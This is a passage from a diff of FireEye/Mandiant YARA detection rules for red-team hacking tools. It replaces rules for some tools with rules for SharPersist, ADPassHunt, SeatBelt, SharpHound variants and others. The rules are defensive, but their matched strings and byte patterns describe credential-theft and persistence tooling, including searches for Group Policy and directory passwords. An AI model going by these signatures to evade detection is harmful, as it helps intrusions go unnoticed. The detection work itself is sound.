0x3C ) ) == 0x00004550 and filesize < 10MB and all of ( $go* ) and all of ( $json* ) and all of ( $str* ) and #rat > 1000 } -rule FIREEYE_RT_APT_Hacktool_MSIL_REVOLVER_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Sharpersist_2 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'revolver' project." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "8fa5adb7-dc66-51bc-9f60-2308515f33a8" + id = "49d7891e-b97a-52a8-acfd-bbf986732d6c" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REVOLVER/production/yara/APT_HackTool_MSIL_REVOLVER_1.yar#L4-L16" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPERSIST/production/yara/HackTool_MSIL_SharPersist_2.yar#L4-L23" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "8df8a56ed55b7857adb95daa643d544a49eb5f1952b4ad3ef757c34dad2ce317" + hash = "98ecf58d48a3eae43899b45cec0fc6b7" + logic_hash = "57387352f8fd08e8b859dffc1164d46370f248b337526c265634160010572a00" score = 75 - quality = 71 + quality = 75 tags = "FILE" - rev = 2 + rev = 1 strings: - $typelibguid0 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide - $typelibguid1 = "b214d962-7595-440b-abef-f83ecdb999d2" ascii nocase wide + $a1 = "SharPersist.lib" + $a2 = "SharPersist.exe" + $b1 = "ERROR: Invalid hotkey location option given." ascii wide + $b2 = "ERROR: Invalid hotkey given." ascii wide + $b3 = "ERROR: Keepass configuration file not found." ascii wide + $b4 = "ERROR: Keepass configuration file was not found." ascii wide + $b5 = "ERROR: That value already exists in:" ascii wide + $b6 = "ERROR: Failed to delete hidden registry key." ascii wide + $pdb1 = "\\SharPersist\\" + $pdb2 = "\\SharPersist.pdb" condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( ( @pdb2 [ 1 ] < @pdb1 [ 1 ] + 50 ) or ( 1 of ( $a* ) and 2 of ( $b* ) ) ) } -rule FIREEYE_RT_APT_Hacktool_MSIL_JUSTASK_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Sharpersist_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'justask' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPersist project." author = "FireEye" - id = "06a03d82-db69-5b5a-a578-a8053814e917" + id = "586e6c91-6970-57d1-8d8c-05ae9eb6117a" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/JUSTASK/production/yara/APT_HackTool_MSIL_JUSTASK_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPERSIST/production/yara/HackTool_MSIL_SharPersist_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "24d2f8e3838c4f02cd80644a396ce7cf105761d2feba54e39973564ca5e97571" + hash = "98ecf58d48a3eae43899b45cec0fc6b7" + logic_hash = "cf480026c31b522850e25ba2d7986773d9c664242a2667ecd33151621c98c91e" score = 75 quality = 73 tags = "FILE" - rev = 2 + rev = 1 strings: - $typelibguid0 = "aa59be52-7845-4fed-9ea5-1ea49085d67a" ascii nocase wide + $typelibguid1 = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 } -rule FIREEYE_RT_Hacktool_MSIL_GETDOMAINPASSWORDPOLICY_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_Adpasshunt_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the recon utility 'getdomainpasswordpolicy' project." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "69745e99-33cc-5171-ae7a-5c98439a0b6d" - date = "2020-12-08" + id = "736b5300-215b-5314-9234-69ff0050b73e" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/GETDOMAINPASSWORDPOLICY/production/yara/HackTool_MSIL_GETDOMAINPASSWORDPOLICY_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/APT_HackTool_MSIL_ADPassHunt_1.yar#L4-L17" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "6b2ea3ebfea2c87f16052f4a43b64eb2d595c2dd4a64d45dfce1642668dcf602" - score = 75 - quality = 73 + hash = "6efb58cf54d1bb45c057efcfbbd68a93" + logic_hash = "63135c81c1a6b967cb26cced628afc0e7ef485923e6a7fd70a4d4672118d6a8c" + score = 50 + quality = 75 tags = "FILE" - rev = 4 + rev = 2 strings: - $typelibguid0 = "a5da1897-29aa-45f4-a924-561804276f08" ascii nocase wide + $sb1 = { 73 [2] 00 0A 0A 02 6F [2] 00 0A 0B 38 [4] 12 ?? 28 [2] 00 0A 0? 73 [2] 00 0A 0? 0? 0? 6F [2] 00 0A 1? 13 ?? 72 [4] 13 ?? 0? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 1? 3B [4] 11 ?? 72 [4] 28 [2] 00 0A 13 ?? 0? 72 [4] 6F [2] 00 0A 6F [2] 00 0A 13 ?? 38 [4] 11 ?? 6F [2] 00 0A 74 [2] 00 01 13 ?? 11 ?? 72 [4] 6F [2] 00 0A 2C ?? 11 ?? 72 [4] 11 ?? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 6F [2] 00 0A 72 [4] 28 [2] 00 0A } + $sb2 = { 02 1? 8D [2] 00 01 [0-32] 1? 1F 2E 9D 6F [2] 00 0A 72 [4] 0A 0B 1? 0? 2B 2E 0? 0? 9A 0? 0? 72 [4] 6F [2] 00 0A 2D ?? 06 72 [4] 28 [2] 00 0A 0A 06 72 [4] 0? 28 [2] 00 0A 0A 0? 1? 58 0? 0? 0? 8E 69 32 CC 06 2A } condition: - filesize < 10MB and ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_Builder_MSIL_Sinfuloffice_1 : FILE +rule FIREEYE_RT_Credtheft_MSIL_Adpasshunt_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SinfulOffice' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public ADPassHunt project." author = "FireEye" - id = "cf020fb3-751b-5346-8c0d-dc0a552599a3" + id = "35fb8032-c73a-549f-9bd9-409f7050bdb0" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SINFULOFFICE/production/yara/Builder_MSIL_SinfulOffice_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/CredTheft_MSIL_ADPassHunt_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "b5d49a8720e4daa21e95ec66299daec42e65906017de886ea91f7bb6bfb04c77" - score = 75 + hash = "6efb58cf54d1bb45c057efcfbbd68a93" + logic_hash = "85c7c147d6bf5b7cb417ff2910a3e7ab3be5e8a3651758c07f8f0ed42b5964d8" + score = 50 quality = 73 tags = "FILE" - rev = 1 + rev = 4 strings: - $typelibguid0 = "9940e18f-e3c7-450f-801a-07dd534ccb9a" ascii nocase wide + $typelibguid = "15745B9E-A059-4AF1-A0D8-863E349CD85D" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + uint16( 0 ) == 0x5A4D and $typelibguid } -rule FIREEYE_RT_Methodology_OLE_CHARENCODING_2 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_Adpasshunt_2 : FILE { meta: - description = "Looking for suspicious char encoding" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "7abd1a11-7a55-50ac-aa6b-537e7c59a5ab" - date = "2020-12-08" + id = "a3b12fd7-e82d-5ef0-9125-7c069cd9bec4" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SINFULOFFICE/supplemental/yara/Methodology_OLE_CHARENCODING_2.yar#L4-L23" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/APT_HackTool_MSIL_ADPassHunt_2.yar#L4-L23" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "41b70737fa8dda75d5e95c82699c2e9b" - logic_hash = "20843295531dfd88934fe0902a5101c5c0828e82df3289d7f263f16df9c92324" - score = 65 + hash = "6efb58cf54d1bb45c057efcfbbd68a93" + logic_hash = "e2dc7db1860eef04a569f007c32abd507dd588d1392613efbb31f42ca66ff735" + score = 50 quality = 75 tags = "FILE" - rev = 4 + rev = 1 strings: - $echo1 = "101;99;104;111;32;111;102;102;" ascii wide - $echo2 = "101:99:104:111:32:111:102:102:" ascii wide - $echo3 = "101x99x104x111x32x111x102x102x" ascii wide - $pe1 = "77;90;144;" ascii wide - $pe2 = "77:90:144:" ascii wide - $pe3 = "77x90x144x" ascii wide - $pk1 = "80;75;3;4;" ascii wide - $pk2 = "80:75:3:4:" ascii wide - $pk3 = "80x75x3x4x" ascii wide + $s1 = "LDAP://" wide + $s2 = "[GPP] Searching for passwords now..." wide + $s3 = "Searching Group Policy Preferences (Get-GPPPasswords + Get-GPPAutologons)!" wide + $s4 = "possibilities so far)..." wide + $s5 = "\\groups.xml" wide + $s6 = "Found interesting file:" wide + $s7 = "\x00GetDirectories\x00" + $s8 = "\x00DirectoryInfo\x00" condition: - ( uint32( 0 ) == 0xe011cfd0 ) and filesize < 10MB and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPWEBCRAWLER_1 : FILE +rule FIREEYE_RT_Credtheft_MSIL_Adpasshunt_2 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpwebcrawler' project." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "29b2a410-bcc4-58df-b192-7a413b3db1c0" + id = "b6103e23-8d1c-5d01-b283-f4545ccb924e" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPWEBCRAWLER_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/CredTheft_MSIL_ADPassHunt_2.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "8df328663a813ca0a6864ae0503cbc1b03cfdf839215b9b4f2bb7962adf09bf8" - score = 75 - quality = 73 + hash = "6efb58cf54d1bb45c057efcfbbd68a93" + logic_hash = "e7282905a8baeaeb8ec156171fbf2bc4ac811facb80959a88394f4938a145cc1" + score = 50 + quality = 75 tags = "FILE" - rev = 2 + rev = 1 strings: - $typelibguid0 = "cf27abf4-ef35-46cd-8d0c-756630c686f1" ascii nocase wide + $pdb1 = "\\ADPassHunt\\" + $pdb2 = "\\ADPassHunt.pdb" + $s1 = "Usage: .\\ADPassHunt.exe" + $s2 = "[ADA] Searching for accounts with msSFU30Password attribute" + $s3 = "[ADA] Searching for accounts with userpassword attribute" + $s4 = "[GPP] Searching for passwords now" condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( ( @pdb2 [ 1 ] < @pdb1 [ 1 ] + 50 ) or 2 of ( $s* ) ) } -rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPTEMPLATE_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_SEATBELT_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharptemplate' project." + description = "This rule looks for .NET PE files that have regex and format strings found in the public tool SeatBelt. Due to the nature of the regex and format strings used for detection, this rule should detect custom variants of the SeatBelt project." author = "FireEye" - id = "0ca9a13c-e0a0-588b-be13-5954b17d95b1" + id = "46477f87-2458-5b8e-894a-9aa536a441ad" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPTEMPLATE_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BELTALOWDA/production/yara/HackTool_MSIL_SEATBELT_1.yar#L4-L25" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "9746c1ab7b945d311c53fbdf95993d255369e06b23a3279c9f2e8a4df73ab63c" + hash = "848837b83865f3854801be1f25cb9f4d" + logic_hash = "4248e5561ef60e725c23efc89c899d6fc8be5bf2142f700fb70daecd72c30dd8" score = 75 - quality = 73 + quality = 30 tags = "FILE" - rev = 2 + rev = 3 strings: - $typelibguid0 = "e9e452d4-9e58-44ff-ba2d-01b158dda9bb" ascii nocase wide + $msil = "_CorExeMain" ascii wide + $str1 = "{ Process = {0}, Path = {1}, CommandLine = {2} }" ascii nocase wide + $str2 = "Domain=\"(.*)\",Name=\"(.*)\"" ascii nocase wide + $str3 = "LogonId=\"(\\d+)\"" ascii nocase wide + $str4 = "{0}.{1}.{2}.{3}" ascii nocase wide + $str5 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*" ascii nocase wide + $str6 = "*[System/EventID={0}]" ascii nocase wide + $str7 = "*[System[TimeCreated[@SystemTime >= '{" ascii nocase wide + $str8 = "(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?" ascii nocase wide + $str9 = "{0}" ascii nocase wide + $str10 = "{0,-23}" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $msil and all of ( $str* ) } -rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPGOPHER_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_SEATBELT_2 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpgopher' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SeatBelt project." author = "FireEye" - id = "cc8eb9cd-9a51-5fab-b0a4-247baaa69dd7" + id = "225b42fe-c73a-59c0-a1f4-1d6dff6e76e1" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPGOPHER_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BELTALOWDA/production/yara/HackTool_MSIL_SEATBELT_2.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "ac37f77440cb76d7dafa4c9b4130471ca6ca760f6d72691db9ebb8cbaaad0c58" + hash = "9f401176a9dd18fa2b5b90b4a2aa1356" + logic_hash = "e48474c5025fd88e3c2824e1e943ff56cde0ea05984aad0249ccf73caa6d4a36" score = 75 quality = 73 tags = "FILE" - rev = 2 + rev = 3 strings: - $typelibguid0 = "83413a89-7f5f-4c3f-805d-f4692bc60173" ascii nocase wide + $typelibguid1 = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 } -rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSQLCLIENT_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Puppyhound_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsqlclient' project." + description = "This is a modification of an existing FireEye detection for SharpHound. However, it looks for the string 'PuppyHound' instead of 'SharpHound' as this is all that was needed to detect the PuppyHound variant of SharpHound." author = "FireEye" - id = "4d526c36-f56f-53cf-9bdf-b7a15619eb41" + id = "1155f959-c8bc-597a-8a80-abee8d95b6ec" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPSQLCLIENT_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PUPPYHOUND/production/yara/HackTool_MSIL_PuppyHound_1.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "bc79f80582f4fadecf54d926abdcf61694224654ba5075203f0d1123cf11afc1" + hash = "eeedc09570324767a3de8205f66a5295" + logic_hash = "39073bbfef15ecd28c1772e5d01e54c3d5774ecb4c90f0076bda5dc400abacba" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 2 + rev = 6 strings: - $typelibguid0 = "13ed03cd-7430-410d-a069-cf377165fbfd" ascii nocase wide + $1 = "PuppyHound" + $2 = "UserDomainKey" + $3 = "LdapBuilder" + $init = { 28 [2] 00 0A 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 28 [2] 00 0A 0B 1F 2D } + $msil = /\x00_Cor(Exe|Dll)Main\x00/ condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPDACL_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Sharphound_3 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdacl' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project." author = "FireEye" - id = "13f4e3ea-1e36-5fad-9197-66511d6f026a" + id = "456b3208-1e8d-5eb7-81ee-39f1c886c5a7" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPDACL_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PUPPYHOUND/production/yara/HackTool_MSIL_SharpHound_3.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "5f44ec5ddded18fb3a9132b469b2fe7ccbffb3f907325485f0f72fe3d6bbfa23" + hash = "eeedc09570324767a3de8205f66a5295" + logic_hash = "baeea6cae42c755ee389378229b2b206c82f60f75a5ce5f9cfa06871fc9507d1" score = 75 quality = 73 tags = "FILE" - rev = 3 + rev = 4 strings: - $typelibguid0 = "b3c17fb5-5d5a-4b14-af3c-87a9aa941457" ascii nocase wide + $typelibguid1 = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii nocase wide condition: - filesize < 10MB and ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 } -rule FIREEYE_RT_Credtheft_MSIL_Wcmdump_1 : FILE +rule FIREEYE_RT_Loader_MSIL_Allthethings_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WCMDump' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'AllTheThings' project." author = "FireEye" - id = "22796ccb-a01e-59d8-8c3a-6cbb62899940" + id = "1805b406-2531-56bf-8e08-e63a59ffcc84" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/CredTheft_MSIL_WCMDump_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ALLTHETHINGS/production/yara/Loader_MSIL_AllTheThings_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "9fbf53e551342695b306b10f30a3fe32dff359bd70e84e1fa1f190772f5dcbe3" + logic_hash = "e3058095f2a49f8c0f78cb392024795367609b04c1da80210ab8d72c6613ee71" score = 75 quality = 73 tags = "FILE" - rev = 1 - - strings: - $typelibguid0 = "21e322f2-4586-4aeb-b1ed-d240e2a79e19" ascii nocase wide - - condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them -} -rule FIREEYE_RT_APT_Hacktool_MSIL_REDTEAMMATERIALS_1 : FILE -{ - meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'red_team_materials' project." - author = "FireEye" - id = "272cd3e9-884a-566b-ae90-4a79ee726a8d" - date = "2020-12-08" - modified = "2020-12-09" - reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_REDTEAMMATERIALS_1.yar#L4-L16" - license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "ca54a1e8335c4256295fc643f5d31eae2e89f020dc7a9b571c4772edaad08022" - score = 75 - quality = 71 - tags = "FILE" - rev = 3 + rev = 2 strings: - $typelibguid0 = "86c95a99-a2d6-4ebe-ad5f-9885b06eab12" ascii nocase wide - $typelibguid1 = "e06f1411-c7f8-4538-bbb9-46c928732245" ascii nocase wide + $typelibguid0 = "542ccc64-c4c3-4c03-abcd-199a11b26754" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPNATIVEZIPPER_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Sharpschtask_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnativezipper' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpSchtask' project." author = "FireEye" - id = "c48835a7-06fe-5b30-be4d-086d98dc7a21" + id = "5c7a5dee-3bc2-54b2-a7e2-be05ba74d4a1" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPNATIVEZIPPER_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSCHTASK/production/yara/HackTool_MSIL_SharpSchtask_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "fa54375b21abbb613e695f70a15233575fbe6e0536716544bb3b527f5e3ed8c6" + logic_hash = "7437fde82920f4d015a7f149b58924baf6cb220c6f6857d9509e23795ff0811c" score = 75 quality = 73 tags = "FILE" - rev = 3 + rev = 1 strings: - $typelibguid0 = "de5536db-9a35-4e06-bc75-128713ea6d27" ascii nocase wide + $typelibguid0 = "0a64a5f4-bdb6-443c-bdc7-f6f0bf5b5d6c" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPDNS_1 : FILE +rule 